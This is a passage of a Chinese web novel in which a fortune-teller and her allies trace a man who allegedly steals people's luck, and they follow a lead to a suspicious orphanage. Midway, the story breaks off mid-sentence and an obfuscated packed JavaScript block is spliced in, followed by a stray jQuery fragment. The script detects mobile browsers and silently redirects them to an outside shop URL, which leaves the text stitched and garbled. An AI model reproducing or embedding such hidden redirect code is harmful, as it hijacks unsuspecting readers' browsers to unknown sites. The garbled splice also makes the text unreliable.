他抬头看着司理说道:“一家成立了两年多的公司,没有任何负面新闻,没有任何诉讼记录,连一条差评都查不到。”
“在A市做生意,不可能这么干净。除非有人刻意把不干净的东西藏起来了。”
他让人查了鼎盛咨询的法人刘伟,发现是一个空壳。
没有办公地址,没有员工,没有任何实际业务。
又往上查了一层,查到了裴东来。
“这个人三年前因为非法信息买卖进去过,出来之后消失了两年。再出现的时候,就成了鼎盛咨询的实际控制人。”
唐浩邈把文件翻到最后一页,是一张裴东来的证件照。
照片上的男人四十多岁,瘦长脸,戴眼镜,表情严肃,嘴唇抿成一条线。
“我弟说你也在查这个人。我想知道,他到底在干什么?”
司理没有直接回答。
她翻了翻唐浩邈带来的文件,里面有一份鼎盛咨询的客户名单。
名单不长,十几个人,大部分是A市的中小企业。
“你大哥也在名单上。”他说:“所以我才觉得这事不简单。一家做市场调查的公司,为什么要接触这么多A市家族的继承人?”
司理把文件合上,看着唐浩邈。
“唐先生,你信玄学吗?”
唐浩邈愣了一下。
他的手指在桌上停了一下,然后收回去,放在膝盖上。
“我不信。”
“但我信证据。你之前找到失踪三年的女孩,警方都找不到,你找到了。这不是巧合。”
“裴东来在做的事,和玄学有关。”司理说:“他用术法影响人的运势。你名单上那些人,都是他的目标。你公司和他谈合作,很可能也是他计划的一部分。”“他想通过你接触到更多的人。”
唐浩邈的表情变了一下。
不是害怕,是那种突然意识到自己可能踩进了什么坑里的警觉。
“你的意思是,他盯上唐家了?”
“不一定。但他不会放过任何一个能利用的资源。”司理说:“你和他谈合作,不管最后签不签合同,他都已经接触到了你。”
“你身边的人、你的社交圈、你的资源,这些都是他想得到的。”
唐浩邈沉默了一会儿。
他的手指在膝盖上轻轻敲了两下,节奏很稳。
“他为什么要做这些事?”
“有人想往上爬,靠的是努力。他想往上爬,靠的是把别人拉下来。”司理说:“他收集别人的运势、来给自己铺路。”
两个人谈了一个多小时。唐浩邈问了很多问题——关于术法、关于命格、关于裴东来的作案手法。他问得很细,像是在做一个商业调查,每一个问题都切在关键点上。他不信玄学,但他信逻辑。司理说的每一件事,都能用逻辑串起来,形成一个完整的链条。
走的时候,司理从抽屉里拿出一张叠好的符,推到唐浩邈面前说道:
“随身带着,别离身。”
唐浩邈低头看着那张符。黄纸,朱砂纹路,折得整整齐齐。他犹豫了一下,然后拿起来,放进了西装内袋里。
“唐先生。”司理叫住他。
唐浩邈转过身。
“你弟弟最近在忙什么?”
唐浩邈的表情变了一下。不是严肃,是一种微妙的变化——嘴角微微动了一下,像是在忍笑。
“他?他说在帮朋友做事。具体是什么,他不肯说。”他顿了顿说道:“但我看他最近心情不错。”
司理点了点头,没再问。
唐浩邈推门出去,脚步声在巷子里渐渐远了。薄今郁从里间走出来,手里拿着一杯奶茶,不知道他什么时候买的,杯壁上挂着水珠。他靠在门框上,看着唐浩邈离开的方向,慢悠悠地喝了一口说道“唐家的人,长得都挺好看的。”
司理没理他,把桌上的文件收起来。
“不过没我好看。”薄今郁补了一句。
司理抬起头看着他说道:“你天天不上课,就为了说这些废话?”
“我说了,休学了。”薄今郁走过来,把奶茶放在司理桌上说道:“而且我不是来说废话的。我查到阳光福利院的一个线索。”
司理的手停了一下。
薄今郁掏出手机,翻了几下,递过来。“那个福利院的法人孙德胜,他有一个女儿。叫孙晓。今年三十二岁,在临市开了一家美容院。”
屏幕上是一个美容院的宣传页面,粉色的背景,上面写着晓晓美容会所几个字,下面有地址和电话。照片上是一个女人,化着浓妆,头发染成棕色,笑起来露出整齐的牙齿。
“但有意思的是……”薄今郁又翻了一下,换到另一个页面说道:“孙晓名下有一套房,在A市。而且那套房的位置,在老城区,离你找到方明朗的那个筒子楼,走路不到十分钟。”
司理接过手机,看着屏幕上的地址。
城东花园路,老纺织厂家属院。和方明朗被囚禁的地方,只隔了两条街。
那个小区她去过,都是七八十年代的筒子楼,楼间距窄得离谱,楼道里堆满了垃圾,路灯有一半是坏的。
“孙晓的房子?”司理问。
“对。我让人查了房产登记信息,是孙晓的名字。房产证上的登记日期是两年前。”薄今郁顿了顿说道:“但我找人去问了邻居。邻居说,住在那里的不是孙晓,是一个四十多岁的男人。平时很少出门,偶尔看到也是在晚上。”
司理的手指在桌上敲了一下。
四十多岁,戴眼镜。
裴东来!
“孙德胜的女儿的房子,裴东来在住。”司理说:“孙德胜和裴东来之间有联系。”
“不只是有联系。”薄今郁在旁边坐下,把奶茶拿回来喝了一口说道:“我怀疑孙德胜就是裴东来在临市的人。阳光福利院那些孩子,是经过孙德胜的手送到裴东来手里的。”“孙德胜负责收人,裴东来负责用人。孙晓的房子,就是他们在A市的据点之一。”
司理想了想,站起来说道:“去临市。”
薄今郁愣了一下,问道:“现在?”
“现在。趁裴东来还不知道我们查到了这一层。如果他发现我们在查阳光福利院。他可能会把孙德胜处理掉和陈远一样。”
薄今郁点了点头,站起来,把奶茶杯扔进垃圾桶。
沈夜从武馆门口走过来,手里拿着车钥匙。他刚才靠在门框上,听着里面的对话,什么都没说。但去临市三个字一出来,他就转身去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614503|204768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开车了。
黑色SUV停在巷口,沈夜坐在驾驶座上,发动了车子。司理坐副驾驶,薄今郁坐后排。
车开出巷子,上了大路。导航显示到临市要两个半小时,走高速,路况不错。
刚上高架,司理的手机震动了。是方晴发来的消息。
“大师,我临市的同行打听到一件事。阳光福利院去年有一个护工辞职了,说是受不了里面的气氛。”“那个护工现在在临市开了一家早餐店,地址我发你。他姓张,四十多岁,人挺好的,应该愿意跟你聊。”
下面跟着一个地址,司理看了一眼,在临市城北,靠近阳光福利院的那条街上。
“先去见这个护工。”司理说。车开了两个多小时,到了临市下面的一个小县城。方晴说的那个早餐店在县城的主街上,门面不大,夹在一家五金店和一家小超市中间。招牌是白底红字,写着老张早餐四个字。店里只有几张折叠桌,塑料椅子叠在墙角,这个点已经过了早饭时间,没什么客人。
沈夜把车停在路边,三个人下了车。县城的空气比A市好,天也蓝,但街上没什么人,店铺开了一半关了一半,有几家已经拉上了卷帘门。
司理推门进去。店里的墙上贴着一张发黄的菜单,价格用记号笔写在旁边,字迹歪歪扭扭的。老板是个四十多岁的男人,姓张,身材魁梧,围裙上沾满了面粉。他正蹲在地上擦桌子底下的一个污渍,听到门响,抬起头,愣了一下。大概是没想到这个点还有客人。
“三碗豆浆,三根油条。”司理在靠窗的位置坐下来。
张老板应了一声,站起来,走到厨房里。过了一会儿,端出来三碗豆浆和三根油条,放在桌上。豆浆是现煮的,很烫,碗边有点烫手。油条炸得金黄,咬一口,脆的。
司理慢慢吃着,薄今郁和沈夜也坐下来。吃到一半的时候,司理放下筷子,看着张老板。他正在柜台后面擦一个暖壶,擦得很仔细,但手有点抖。
“张老板,听说你之前在阳光福利院工作过?”
张老板的手停了一下。暖壶差点从手里滑下去,他接住了,放在柜台上。他把抹布放下,在司理对面坐下,压低声音说道:“你们是谁?”
“A市来的。在查一些事。”司理把手机掏出来,翻到陈小朵的照片,把屏幕转过去对着他说道:“这个女孩,你认识吗?”
张老板看了一眼照片,脸色瞬间变了。他没说话,站起来,走到门口,把卷帘门拉下来一半。店里的光线暗了一些,外面的声音也小了。他走回来,在司理对面坐下说道:“你们是记者?”
“不是。”
“警察?”
“也不是。”司理把手机收起来说道:“我在帮人找孩子。”
张老板沉默了一会儿,然后他深吸了一口气,像是做了一个决定。
“阳光福利院那个地方,不正常。”他的声音很小,像是怕被人听到。
他说他在阳光福利院干了三年。刚开始觉得挺好的,那里环境不错,楼房是新的,院子也干净,孩子们看起来也挺开心。每天早上他四点起来和面,六点开始做早餐,孩子们七点下来吃饭,笑着叫他张叔叔。他以为自己在做一件好事。
但干了半年之后,他发现了一些不对劲的事。